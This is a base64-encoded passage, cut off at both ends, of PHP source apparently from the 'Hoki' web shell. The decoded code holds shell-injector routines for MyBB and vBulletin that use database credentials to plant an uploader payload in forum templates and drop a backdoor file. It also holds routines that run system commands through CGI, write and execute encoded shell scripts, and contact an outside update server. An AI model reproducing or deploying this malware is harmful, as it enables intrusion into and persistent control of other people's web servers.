YXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnaG9raTYnXTsKJGRibiA9ICRfUE9TVFsnaG9raTcnXTsKJGRicCA9ICRfUE9TVFsnaG9raTgnXTsKJGRiaCA9ICRfUE9TVFsnaG9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRzaGVsbENvZGUgPSAie1wkeyIuSE9LSV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRzaGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3Mgd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEhva2lDdXJsID0gbmV3IEhva2lDVVJMKCk7CmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRIb2tpQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCI7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8YnI+PHByZSBpZD0nc3RyT3V0cHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdtbDEnPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPScjRkZGRkZGJz5QbGVhc2UgR28gVG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmZmLiI8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfX19fQppZihpc3NldCgkX1BPU1RbJ2hva2kzJ10pICYmICRfUE9TVFsnaG9raTMnXT09ICd2YicpewpIb2tpTnVtKDEsMiw3LDksMTApOwplY2hvIF9fcHJlKCkuJzxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZidWxsZXRpbiB8PC9kaXY+PC9wPjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG5hbWU9ImZybSIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLHRoaXMubG8udmFsdWUsXCd2YlwnLHRoaXMudXNlci52YWx1ZSx0aGlzLnBhc3MudmFsdWUsdGhpcy50YWIudmFsdWUsdGhpcy5kYi52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdsbycsICdpZCc9PidkYl9ob3N0JywnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VzZXIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICd1c2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ3Bhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCA6ICcsICdpbnB1dE5hbWUnID0+ICd0YWInLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAnPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k0J10pJiYhZW1wdHkoJF9QT1NUWydob2tpNCddKSl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k4J107CiRmYXFfbmFtZSA9ICJmYXEiOwokZmFxX2ZpbGUgPSAiL2ZhcS5waHAiOwokY29kZSA9ICJ7XCR7Ii5IT0tJX1VQTE9BREVSLiJ9fXtcJHtleGl0KCl9fSYiOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJF9QT1NUWydob2tpMiddLCRfUE9TVFsnaG9raTQnXSwkX1BPU1RbJ2hva2k1J10sJF9QT1NUWydob2tpNyddKSBvciBkaWUoQG15c3FsaV9jb25uZWN0X2Vycm9yKCkpOwokcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwokcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHJlYyk7CiRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7CiRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsKaWYoZW1wdHkoJHNhdmV0b2FzcykpewoJJGZhcV9uYW1lID0gImhlYWRlciI7CgkkZmFxX2ZpbGUgPSAiLyI7CgkkcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOyRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKCSRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7Cgkkc2F2ZXRvYXNzID0gJGdldGRbJ3RlbXBsYXRlJ107CgkkY29kZSA9IEhPS0lfVVBMT0FERVIuIjsiOwp9CiRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZGUpOwokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCBgdGVtcGxhdGVgPSciLiRjb2RlLiInIFdIRVJFIGB0aXRsZWA9JyIuJGZhcV9uYW1lLiInIjsKJGthPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgYHZhbHVlYCBmcm9tICIuJF9QT1NUWydob2tpNiddLiJzZXR0aW5nIFdIRVJFIGB2YXJuYW1lYD0nYmJ1cmwnIik7CiRnZXR2YWwgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOwokc2F2ZXZhbCA9ICRnZXR2YWxbJ3ZhbHVlJ107CmlmKCRmYXFfbmFtZSA9PSAiaGVhZGVyIil7CglpZihzdWJzdHIoJHNhdmV2YWwsIC01LCA1KSA9PSAiL2NvcmUiKXsKCQkkc2F2ZXZhbCA9IHN1YnN0cigkc2F2ZXZhbCwgMCwgLTUpOwoJfQp9CiRyZWFsdXJsID0gcGFyc2VfdXJsKCRzYXZldmFsLFBIUF9VUkxfSE9TVCk7CiRyZWFscGF0aCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX1BBVEgpOwokcmVzID0gZmFsc2U7CiRIb2tpQ3VybCA9IG5ldyBIb2tpQ1VSTCgpOwppZihleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CmlmKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwLCAkZXJybm8sICRlcnJzdHIsIDEwKSl7CkBmcHV0cygkZnNvY2ssICJHRVQgJHJlYWxwYXRoLiRmYXFfZmlsZSBIVFRQLzEuMVxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkhPU1Q6ICRyZWFsdXJsXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiIpOwokY2hlY2sgPSBmZ2V0cygkZnNvY2spOwppZihwcmVnX21hdGNoKCIvMjAwIE9LL2kiLCRjaGVjaykpewokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydob2tpNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyZXMgPSB0cnVlOwp9CkBmY2xvc2UoJGZzb2NrKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZSk7CiRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9JyIuJGZhcV9uYW1lLiInIjsKJGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGU7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljaGVja2ZpbGV0eXBlKCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGhva2ljaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJX2hva2lfY2dpY21kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGhva2lFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBIb2tpQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0hPS0lfVkVSU0lPTl9fKTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2hva2lfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXsKCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fSE9LSV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0hPS0lfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y29va2llKCJob2tpX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsia2lzZXJ5b3VuaSJdKSAmJiAhZW1wdHkoJGpzb25bImtpc2VyeW91bmkiXSkpewoJCQkJJGRhdGFbImtpc2VyeW91bmkiXSA9ICRqc29uWyJraXNlcnlvdW5pIl07CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImNvZGVfbmFtZSJdKSAmJiAhZW1wdHkoJGpzb25bImNvZGVfbmFtZSJdKSl7CgkJCQkkZGF0YVsiY29kZV9uYW1lIl0gPSAkanNvblsiY29kZV9uYW1lIl07CgkJCQkkZGF0YVsidmVyc2lvbl9udW1iZXIiXSA9IF9fSE9LSV9WRVJTSU9OX187CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bIm1hcmtldCJdKSAmJiAhZW1wdHkoJGpzb25bIm1hcmtldCJdKSl7CgkJCQkkZGF0YVsibWFya2V0Il0gPSAkanNvblsibWFya2V0Il07CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJGRhdGEpOwoJCX0KCX0KfQpmdW5jdGlvbiBob2tpV3JpdGVUb2NnaWFwaSgkbmFtZSwgJHNvdXJjZSl7CgkkdGVtcCA9ICIiOwoJJG5vdF9hcGkgPSBhcnJheSgiYmFzZWRpci5ob2tpIiwgImdldGRpci5ob2tpIiwgImdldGhlYWRlci5ob2tpIik7CglpZihpbl9hcnJheSgkbmFtZSwgJG5vdF9hcGkpKXsKCQkkdGVtcCA9IEhPS0lfVEVNUERJUjsKCQlpZigkdGVtcCl7CgkJCUBjaGRpcigkdGVtcCk7CgkJfQoJfWVsc2V7CgkJaG9raUNyZWF0ZVBhcmVudEZvbGRlcigpOwoJCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fKTsKCX0KCUBta2RpcignaG9raWNnaWFwaScsMDc1NSk7CglfX3dyaXRlX2ZpbGUoImhva2ljZ2lhcGkvIi4kbmFtZSwgX19nZXRfcmVzb3VyY2UoJHNvdXJjZSkpOwoJQGNobW9kKCJob2tpY2dpYXBpLyIuJG5hbWUsIDA3NTUpOwoJcmV0dXJuICR0ZW1wOwp9CmZ1bmN0aW9uIGhva2ljaGVja2NnaSgpe2lmKHN0cmxlbihob2tpRXgoImlkIixmYWxzZSx0cnVlLHRydWUpKT4wKWVjaG8oIm9rIik7ZWxzZSBlY2hvKCJubyIpO30KZnVuY3Rpb24gaG9raXVwZGF0ZWhlYWRlcigpewoJaWYoIWlzc2V0KCRfQ09PS0lFWyJ1cGRhdGVoZWFkZXJfZGF0YSJdKSl7CgkJJGJhc2ggPSAielpSZGI5b3dGSWF2eWE4NDlkSUdKTEswdlZ5Rk5GVG9oRVJCZ3RGZFFJUk00aEFMNDBSMlVrWXAvMzEyZ1BBUnFMcWJhWW55SWZzOHgrODVyK1V2VjA0cWhUT2gzSkdoTWVnM253YnRXbm5xZWNEVW96OCt6UEdNUUJ6R0VCUEJJRjRtWWNSQnBKTWxKRmpBOUkzR01ObStNQXZ3UFhDRlJSNU9DTWlVK3BxcUdJM3VyMDY3VzI4MGUvMWFlVEVsQ1FRazhVSmdTLzRiR09VekNWNnEwdXNadG9qdE9SVWlFaFdEZUdFRU5nRnJoVkpKZ3BTaGI4T1JaeGxCSklBQzVXQ3VOcXFIMzkzMUEvaVJBZXBhaE5RTGEyWTUrNEpKSzBacE9JUXJzTjhBbWRrZ0F0ZUZteHZZNVI4aGs0NVExVks1cTRZZmNaS3ZqRWJxZHFzakQrM0ZJRDlhY0JaaG40aWlub05TLzYyb2xPTTVVWHFRWlphemY3QXh2S3UrSm1CN2QvYmQvVzNGeWlEckVKSkVVSDlMeVFUcldFRFhLUXpoZWdBdVV0cHUwUmx1S3FJMFBnTk9OZmpqQTlDUDVwaHlxVUU5OGRMcS9SelUyK05HOTduZTZ2UnJ5Rkg3d25tbElra3hjemJCcXRsRVNHUjA2cy9OeHZpeDIzbmFodWtpL2E5ZXhBTmt2TlRiclhxL21XZkFqR0pKcEtObmV1TU1WVk92V0d3b05VNERVQWJvYnBvbktyUVJENUNFaEJ1bGJaVDRPS3EwSzlBczQ4VU1yR2Fuc1lvRjVRbDBlbXNMVHRFSzdQcWdMWVFTWWZ0bGpocHdZUTBtQzNIdnNQREFac2VaanhLYisvNzlqZlE5VmNndHlRR09IckZpZWdUN2FndWMyQU51UmdUVXlBV1JnaUM5OVhORHRtNFd4N2RlWHJMb2dMdlF0NE9Zc3owN2R1UDhpc1dVZWRCLzdzT25YYmdzOUtUMnc2Q3p4Vy8wZlg2YmFIMzVjZUd1MVNueEJ3PT0iOwoJCSRyZWFsZGlyID0gYWRkc2xhc2hlcyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwoJCSR0bXBfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRoZWFkZXIuaG9raSIsJGJhc2gpOwoJCSRkYXRhID0gaG9raUV4KCJjZCAneyR0bXBfcGF0aH0vaG9raWNnaWFwaSc7c2ggZ2V0aGVhZGVyLmhva2kiLGZhbHNlLHRydWUsdHJ1ZSk7CgkJaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpewoJCQlfX2hva2lfc2V0X2Nvb2tpZSgidXBkYXRlaGVhZGVyX2RhdGEiLCBfX1pXNWpiMlJsY2coJGRhdGEpKTsKCQkJZWNobyAkZGF0YTsKCQl9Cgl9ZWxzZXsKCQllY2hvIF9fWkdWamIyUmxjZygkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSk7Cgl9Cn0KZnVuY3Rpb24gaG9raXNzaVNoZWxsKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7Cmhva2lDcmVhdGVQYXJlbnRGb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19IT0tJX0RBVEFfRk9MREVSX18pOwpAbWtkaXIoJ2hva2lfc2h0bWwnLDA3NTUpOwpAY2hkaXIoJ2hva2lfc2h0bWwnKTsKaG9raWNnaWh0YWNjZXNzKCdzaHRtbCcpOwokY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNVGtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tXNmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWUmhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZJTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRG